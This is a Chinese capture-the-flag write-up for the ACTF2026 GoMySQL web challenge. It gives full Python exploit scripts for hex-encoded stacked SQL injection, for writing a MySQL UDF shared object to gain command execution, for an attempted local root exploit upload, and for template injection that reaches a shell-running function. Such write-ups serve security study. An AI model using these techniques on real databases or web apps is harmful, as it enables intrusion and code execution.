ACTF2026 GoMySQL wp&复现

ACTF2026 GoMySQL wp&复现

一个 calc 计算表达式,draw 暂时没想到什么用

calc 提示不能有 sql 注入相关,猜测是通过一个 select 去做计算的,可以 fuzz 一下 waf

= set into drop union alter select delete insert create schema update _ prepare outfile update

报错信息可以看出确实是 select 语句

可以使用编码或者 char 绕过字符串的关键字,比较难搞的是绕 schema 查表

database()  =>  testdb
* from mysql.db#  没回显
* from mysql.user#
能查到一个root权限的用户
localhost@root
*BF7B173F1C146F576CC267F0BAEF5589A08404FB

draw 路由行为像是 crc32()

有什么深意吗?还看不出来

单引号会 denied

可以堆叠注入 1;show tables from mysql;

可以尝试 execute immediate

https://mariadb.com/docs/server/reference/sql-statements/prepared-statements/execute-immediate

show databases
1; execute immediate 0x73686f7720646174616261736573

这样就能用 hex 去绕过关键字做任意查询

可以直接 load_file

读不到/flag

1;show variables like 'secure%'

Variable_name: secure_auth, Value: ON
Variable_name: secure_file_priv, Value: NULL
Variable_name: secure_timestamp, Value: NO

secure_file_priv 是 null,可以写 shell,但是这里没有 shell 场景,所以想到能否写 so 加载 sys_eval,也就是 udf 提权的一个思路

1;show variables like 'plugin%'

Variable_name: plugin_dir, Value: /usr/lib/mysql/plugin/
Variable_name: plugin_maturity, Value: gamma

能查到 plugin 目录

https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql

下载 so 文件,ai 写个脚本上传进去

import binascii
import pathlib
import requests

CALC_URL = "http://127.0.0.1:8000/calc"
SO_PATH = "lib_mysqludf_sys_64.so"
REMOTE_SO = "/usr/lib/mysql/plugin/udf64.so"

def to_hex_bytes(data: bytes) -> str:
    return binascii.hexlify(data).decode()

def to_hex_sql(sql: str) -> str:
    return binascii.hexlify(sql.encode()).decode()

def build_upload_payload(so_path: str, remote_path: str) -> str:
    so_bytes = pathlib.Path(so_path).read_bytes()
    so_hex = to_hex_bytes(so_bytes)
    inner_sql = f"select 0x{so_hex} into dumpfile '{remote_path}'"
    inner_sql_hex = to_hex_sql(inner_sql)
    return f"1;execute immediate 0x{inner_sql_hex}"

def post_expr(url: str, expr: str) -> str:
    r = requests.post(url, data={"expression": expr}, timeout=20)
    r.raise_for_status()
    return r.text

if __name__ == "__main__":
    payload = build_upload_payload(SO_PATH, REMOTE_SO)
    print(f"payload length: {len(payload)}")
    html = post_expr(CALC_URL, payload)
    print(html[:2000])

然后执行注册

create function sys_eval returns string soname 'udf64.so'
create function sys_exec returns integer soname 'udf64.so'

这里成功的是 lib_mysqludf_sys_64.so,可以在 count(*) from mysql.func 查看有没有写入

这里把 eval 和 exec 都注册了,显示 2

select sys_eval('ls /')
1;execute immediate 0x73656c656374207379735f6576616c2827636174202f666c616727290a0a#

Let's gooooooooo

bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

依旧 cat 不到 flag,应该要提权,先弹个 shell

弹不了 shell,有点搞

复现

当时其实是想弹 shell 然后打 copyfail,看 wp 似乎不需要弹 shell 也可以,尝试打打看

import binascii
import pathlib
import re
import requests

CALC_URL = "http://web-852c668203.adworld.xctf.org.cn:80/calc"
SO_PATH = "lib_mysqludf_sys_64.so"
REMOTE_SO = "/usr/lib/mysql/plugin/udf64.so"

CF_PATH = "copy_fail_exp_splice"
REMOTE_CF = "/tmp/cf3"

command = "chmod +x /tmp/cf3;/tmp/cf3 2>&1"

def to_hex_bytes(data: bytes) -> str:
    return binascii.hexlify(data).decode()

def to_hex_sql(sql: str) -> str:
    return binascii.hexlify(sql.encode()).decode()

def build_upload_payload(so_path: str, remote_path: str) -> str:
    so_bytes = pathlib.Path(so_path).read_bytes()
    so_hex = to_hex_bytes(so_bytes)
    inner_sql = f"select 0x{so_hex} into dumpfile '{remote_path}'"
    inner_sql_hex = to_hex_sql(inner_sql)
    return f"1;execute immediate 0x{inner_sql_hex}"

def build_payload(expr: str) -> str:
    expr_hex = to_hex_sql(expr)
    return f"1;execute immediate 0x{expr_hex}#"

def post_expr(url: str, expr: str) -> str:
    r = requests.post(url, data={"expression": expr}, timeout=20)
    r.raise_for_status()
    return r.text

def execute_eval(url:str, command: str) -> str:
    expr = f"select sys_eval('{command}')"
    r = post_expr(url, build_payload(expr))
    return r

def extract_and_decode(text: str) -> str:
    match = re.search(r'**\[**(\d+(?:\s+\d+)*)**\]**', text)
    if not match:
        return ""
    numbers_str = match.group(1)
    ascii_codes = [int(n) for n in numbers_str.split()]
    return bytes(ascii_codes).decode('ascii')

if __name__ == "__main__":
    # payload = build_upload_payload(SO_PATH, REMOTE_SO)
    # print(f"payload length: {len(payload)}")
    # html = post_expr(CALC_URL, payload)
    # print(html[:2000])

    # payload = build_payload("create function sys_eval returns string soname 'udf64.so'#")
    # print(f"payload length: {len(payload)}")
    # html = post_expr(CALC_URL, payload)
    # print(html[:2000])

    payload = build_upload_payload(CF_PATH, REMOTE_CF)
    print(f"payload length: {len(payload)}")
    html = post_expr(CALC_URL, payload)
    print(html[:2000])

    print(extract_and_decode(execute_eval(CALC_URL, command)))

这里换了好几个 copyfail 的 payload 都没有成功,然后试了昆仑问道战队 wp 的也没成功

本身这个打法也是非预期,因此怀疑是修了,那我们来看看预期的解法

首先执行 ps -ef 可以看到 go 应用进程

UID          PID    PPID  C STIME TTY          TIME CMD
root           1       0  0 12:09 ?        00:00:00 /usr/local/bin/41323461_myapp

尝试把这个文件下载下来,我这里的方式是 base64

def base64_to_file(b64_string: str, output_path: str) -> None:
    with open(output_path, 'wb') as f:
        f.write(base64.b64decode(b64_string))
        
base64_to_file(extract_and_decode(execute_eval(CALC_URL, command)), "myapp")

然后可以让 ai 帮忙逆向一下恢复函数逻辑

/calc

func calcHandler(w http.ResponseWriter, r *http.Request) {
    if r.Method != "GET" && r.Method != "POST" {
        http.Error(w, "method not allowed", 405)
        return
    }

    var result stringvar err errorif r.Method == "POST" {
        expression := r.FormValue("expression")

        if checkInput(expression) != nil {
            result = "invalid input"
        } else {
            query := fmt.Sprintf("SELECT %s;", expression)
            result, err = executeQuery(query)
        }
    }

    renderCalc(w, r, expression, result, err)
}

逻辑跟之前猜测的一致

/draw

func drawHandler(w http.ResponseWriter, r *http.Request) {
    if r.Method != "GET" {
        http.Error(w, "method not allowed", 405)
        return
    }

    vars, err := parseTemplateVars(r)
    if err != nil {
        http.Error(w, err.Error(), 403)
        return
    }

    page, err := parseTemplateString(drawTemplate, vars)
    if err != nil {
        if errors.Is(err, unsafeErr) {
            http.Error(w, err.Error(), 403)
        } else {
            http.Error(w, err.Error(), 500)
        }
        return
    }

    w.Header().Set("Content-Type", "text/html; charset=utf-8")
    w.Write([]byte(page))
}

会将参数传入模板渲染

<!doctype html>
<html lang="en">
<head>
  <title>Daily Number Draw</title>
</head>
<body>
  <main>
    <p class="eyebrow">Draw your number today</p>

    <h1>Hello, <b><\ %name% /></b></h1>

    <p class="number">
      Your number today:
      <b><\ draw_number(%name%); /></b>
    </p>

    <form method="GET" action="/draw">
      <input name="name" placeholder="Name">
      <button type="submit">Draw</button>
    </form>
  </main>
</body>
</html>

可以发现模板渲染逻辑,边界符为 <\/>,渲染变量用 %%

func parseTemplateVars(r *http.Request) (map[string]string, error) {
    vars := make(map[string]string)

    query := r.URL.Query()

    for key, values := range query {
        if len(values) == 0 {
            vars[key] = ""
        } else {
            vars[key] = values[0]
        }
    }

    if err := validateTemplateVars(vars); err != nil {
        return nil, err
    }

    return vars, nil
}
func validateTemplateVars(vars map[string]string) error {
    for _, value := range vars {
        if strings.Contains(value, `<\`) ||
           strings.Contains(value, `/>`) ||
           strings.Contains(value, `'`) ||
           strings.Contains(value, `;`) {
            return unsafeErr
        }
    }

    return nil
}
func parseTemplateString(tpl string, vars map[string]string) (string, error) {
    for i := 0; i < 100; i++ {
        block := templateBlockRe.FindString(tpl)
        if block == "" {
            return tpl, nil
        }

        replaced, err := commandHandler(block, vars)
        if err != nil {
            return "", err
        }

        tpl = strings.Replace(tpl, block, replaced, 1)
    }

    return "", errors.New("template recursion limit exceeded")
}

可以发现输入参数存在 waf,因此难以注入

渲染方式是通过正则匹配进行多次模板解析,主要的模板语法如下

templateBlockRe = regexp.MustCompile(`(?is)<\\.*?/>`)
varRe           = regexp.MustCompile(`(?is)%(.*)%`)
funcCallRe      = regexp.MustCompile(`(?is)^<\\\s*?(([a-z0-9_]+)\('([^']*?)'\);\s*?(unsafe)?\s*?)\s*?/>$`)
literalRe       = regexp.MustCompile(`(?is)^<\\(\s*?('[^']*?')*?\s*?)*?/>$`)

其中有函数调用语法:<\ func_name('argument'); unsafe(optional) />

默认定义的函数如下:

funcs := map[string]templateFunc{
    "draw_number": init.func1,
    "strrot":      init.func2,
    "run":         init.func3,
}

safeFuncs := map[string]bool{
    "draw_number": true,
    "strrot":      true,
    "run":         false,
}

其中 run 函数为非安全函数,需要通过 unsafe 标记才能执行,它的调用逻辑是

func runCommand(cmd string) (string, error) {
    ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
    defer cancel()

    c := exec.CommandContext(ctx, "/bin/sh", "-c", cmd)

    output, err := c.CombinedOutput()

    if len(output) > 0x2000 {
        output = output[:0x2000]
    }

    if errors.Is(ctx.Err(), context.DeadlineExceeded) {
        return string(output) + "\ncommand timed out", nil
    }

    if err != nil {
        if len(output) > 0 {
            return string(output), nil
        }
        return "", fmt.Errorf("command failed: %v", err)
    }

    return string(output), nil
}

显然就是一个 shell rce

那思路很明显就是要想办法绕过 waf 来执行 ssti

这里我们发现有多次的模板解析,那我们可以尝试利用变量解析来引入 ssti 的边界符

需要注意的是,变量解析会引入单引号:

<\ %name% />
=> <\ 'Alice' />

而在最后的字面量解析时,会匹配出所有单引号内的内容,随后删除边界符

literalRe = regexp.MustCompile(`(?is)^<\\(\s*?('[^']*?')*?\s*?)*?/>$`)

因此我们可以引入双数数量的单引号,边界符可以双写绕过

而分号没有办法引入,因此我们需要复用模板中的分号

<h1>Hello, <b><\ %name% /></b></h1>

<p class="number">
  Your number today:
  <b><\ draw_number(%name%); /></b>
</p>

那么,我们就需要保留模板中的 %);,由于模板语法匹配都是贪婪的,因此可以尝试让将最后一个 % 匹配到 %name% 解析后的其中一个 %,也就是需要尝试构造出

<h1>Hello, <b><\func(%</b></h1>

<p class="number">
  Your number today:
  <b><\ draw_number(%name%); /></b>
</p>

这样,我们就能将 </b></h1><p class="number"> Your number today: <b><\ draw_number(%name 一整串内容作为变量名(当然,这里的前提是模板支持这种做法,而这里使用的 go web 框架 Gin 时默认支持的)

我们将其替换得到

<h1>Hello, <b><\func('arg'); /></b>
</p>

也就是说,我们要让 <\ %name% /> 渲染为 <\func(

<\func(%
'<<\\func(%'
'<<''\\func(%'''
'<<'%var1%'' var1=\\func(%
'<<%var2%'   var2=%var1%
%name%       name=<<%var2%

这样就能执行任意函数

import binascii
import pathlib
import re
import requests
import base64

URL = "http://web-482826a227.adworld.xctf.org.cn/"
CALC_URL = f"{URL}calc"
DRAW_URL = f"{URL}draw"
SO_PATH = "lib_mysqludf_sys_64.so"
REMOTE_SO = "/usr/lib/mysql/plugin/udf64.so"

CF_PATH = "copy_fail_exp_splice"
REMOTE_CF = "/tmp/cf3"

command = "base64 /usr/local/bin/41323461_myapp"

def to_hex_bytes(data: bytes) -> str:
    return binascii.hexlify(data).decode()

def to_hex_sql(sql: str) -> str:
    return binascii.hexlify(sql.encode()).decode()

def build_upload_payload(so_path: str, remote_path: str) -> str:
    so_bytes = pathlib.Path(so_path).read_bytes()
    so_hex = to_hex_bytes(so_bytes)
    inner_sql = f"select 0x{so_hex} into dumpfile '{remote_path}'"
    inner_sql_hex = to_hex_sql(inner_sql)
    return f"1;execute immediate 0x{inner_sql_hex}"

def build_payload(expr: str) -> str:
    expr_hex = to_hex_sql(expr)
    return f"1;execute immediate 0x{expr_hex}#"

def post_expr(url: str, expr: str) -> str:
    r = requests.post(url, data={"expression": expr}, timeout=20)
    r.raise_for_status()
    return r.text

def execute_eval(url:str, command: str) -> str:
    expr = f"select sys_eval('{command}')"
    r = post_expr(url, build_payload(expr))
    return r

def extract_and_decode(text: str) -> str:
    match = re.search(r'**\[**(\d+(?:\s+\d+)*)**\]**', text)
    if not match:
        return ""
    numbers_str = match.group(1)
    ascii_codes = [int(n) for n in numbers_str.split()]
    return bytes(ascii_codes).decode('ascii')

def load_file(url:str ,path: str) -> str:
    expr = f"load_file('{path}')"
    r = post_expr(url, build_payload(expr))
    return r

def base64_to_file(b64_string: str, output_path: str) -> None:
    with open(output_path, 'wb') as f:
        f.write(base64.b64decode(b64_string))

def draw2rce(url: str) -> str:
    arg = "123"
    vars = {
        "name": "<<%var2%",
        "var1": "\\\\draw_number(%",
        "var2": "%var1%",
        ' </b></h1>\n    <p class="number">Your number today: <b><\\ draw_number(%name': arg,
    }
    r = requests.get(url, params=vars)
    return r.text

if __name__ == "__main__":
    # payload = build_upload_payload(SO_PATH, REMOTE_SO)
    # print(f"payload length: {len(payload)}")
    # html = post_expr(CALC_URL, payload)
    # print(html[:2000])

    # payload = build_payload("create function sys_eval returns string soname 'udf64.so'#")
    # print(f"payload length: {len(payload)}")
    # html = post_expr(CALC_URL, payload)
    # print(html[:2000])

    # payload = build_upload_payload(CF_PATH, REMOTE_CF)
    # print(f"payload length: {len(payload)}")
    # html = post_expr(CALC_URL, payload)
    # print(html[:2000])

    # base64_to_file(extract_and_decode(execute_eval(CALC_URL, command)), "myapp")

    print(draw2rce(DRAW_URL))

结果符合预期

那么如何引入 run 函数所需的 unsafe 呢?

我们注意到一个函数 strrot(),是一个 rot 函数,测试一下具体功能

strrot('123456abcdefg')
`abcde2345678

符合 ROT47 特征,可以利用来引入任意模板执行

<\strrot(%arg%); /></b>
<\strrot('payload');/>
<\'rot_payload'/>

我们最终的构造目标是 <\ run("id");unsafe />,这里分号是不能引入变量中的,因此整个 run 命令必须塞入 strrot 函数内,那么闭合单引号就是主要需要解决的问题

<\'rot_payload'/>
<\'/><\ run('id');unsafe />'/>

边界符匹配是懒惰的,因此这个地方在下一轮渲染时会优先把前面的无用模板匹配掉

<\ run('id');unsafe />'/>

此时再次匹配就会匹配到 run 函数,于是 rce 达成

ACTF{y0u1_sqI_Y0ur_Go!!!!!_dxqmcFIr4ZCpo5OeNqSL}

最终 exp

import binascii
import pathlib
import re
import requests
import base64

URL = "http://web-482826a227.adworld.xctf.org.cn/"
CALC_URL = f"{URL}calc"
DRAW_URL = f"{URL}draw"
SO_PATH = "lib_mysqludf_sys_64.so"
REMOTE_SO = "/usr/lib/mysql/plugin/udf64.so"

CF_PATH = "copy_fail_exp_splice"
REMOTE_CF = "/tmp/cf3"

command = "base64 /usr/local/bin/41323461_myapp"

def to_hex_bytes(data: bytes) -> str:
    return binascii.hexlify(data).decode()

def to_hex_sql(sql: str) -> str:
    return binascii.hexlify(sql.encode()).decode()

def build_upload_payload(so_path: str, remote_path: str) -> str:
    so_bytes = pathlib.Path(so_path).read_bytes()
    so_hex = to_hex_bytes(so_bytes)
    inner_sql = f"select 0x{so_hex} into dumpfile '{remote_path}'"
    inner_sql_hex = to_hex_sql(inner_sql)
    return f"1;execute immediate 0x{inner_sql_hex}"

def build_payload(expr: str) -> str:
    expr_hex = to_hex_sql(expr)
    return f"1;execute immediate 0x{expr_hex}#"

def post_expr(url: str, expr: str) -> str:
    r = requests.post(url, data={"expression": expr}, timeout=20)
    r.raise_for_status()
    return r.text

def execute_eval(url:str, command: str) -> str:
    expr = f"select sys_eval('{command}')"
    r = post_expr(url, build_payload(expr))
    return r

def extract_and_decode(text: str) -> str:
    match = re.search(r'**\[**(\d+(?:\s+\d+)*)**\]**', text)
    if not match:
        return ""
    numbers_str = match.group(1)
    ascii_codes = [int(n) for n in numbers_str.split()]
    return bytes(ascii_codes).decode('ascii')

def load_file(url:str ,path: str) -> str:
    expr = f"load_file('{path}')"
    r = post_expr(url, build_payload(expr))
    return r

def base64_to_file(b64_string: str, output_path: str) -> None:
    with open(output_path, 'wb') as f:
        f.write(base64.b64decode(b64_string))

def rot47(s: str) -> str:
    result = []
    for c in s:
        code = ord(c)
        if 33 <= code <= 126:
            result.append(chr(33 + ((code - 33 + 47) % 94)))
        else:
            result.append(c)
    return ''.join(result)

def draw2rce(url: str) -> str:
    func = "strrot"
    arg = rot47(r"/><**\ **run('cat /flag');unsafe />")
    vars = {
        "name": "<<%var2%",
        "var1": f"\\\\{func}(%",
        "var2": "%var1%",
        ' </b></h1>\n    <p class="number">Your number today: <b><\\ draw_number(%name': arg,
    }
    r = requests.get(url, params=vars)
    return r.text

if __name__ == "__main__":
    # payload = build_upload_payload(SO_PATH, REMOTE_SO)
    # print(f"payload length: {len(payload)}")
    # html = post_expr(CALC_URL, payload)
    # print(html[:2000])

    # payload = build_payload("create function sys_eval returns string soname 'udf64.so'#")
    # print(f"payload length: {len(payload)}")
    # html = post_expr(CALC_URL, payload)
    # print(html[:2000])

    # payload = build_upload_payload(CF_PATH, REMOTE_CF)
    # print(f"payload length: {len(payload)}")
    # html = post_expr(CALC_URL, payload)
    # print(html[:2000])

    # base64_to_file(extract_and_decode(execute_eval(CALC_URL, command)), "myapp")

    print(draw2rce(DRAW_URL))
posted @ 2026-05-22 11:08  xNftrOne  阅读(12)  评论(0)    收藏  举报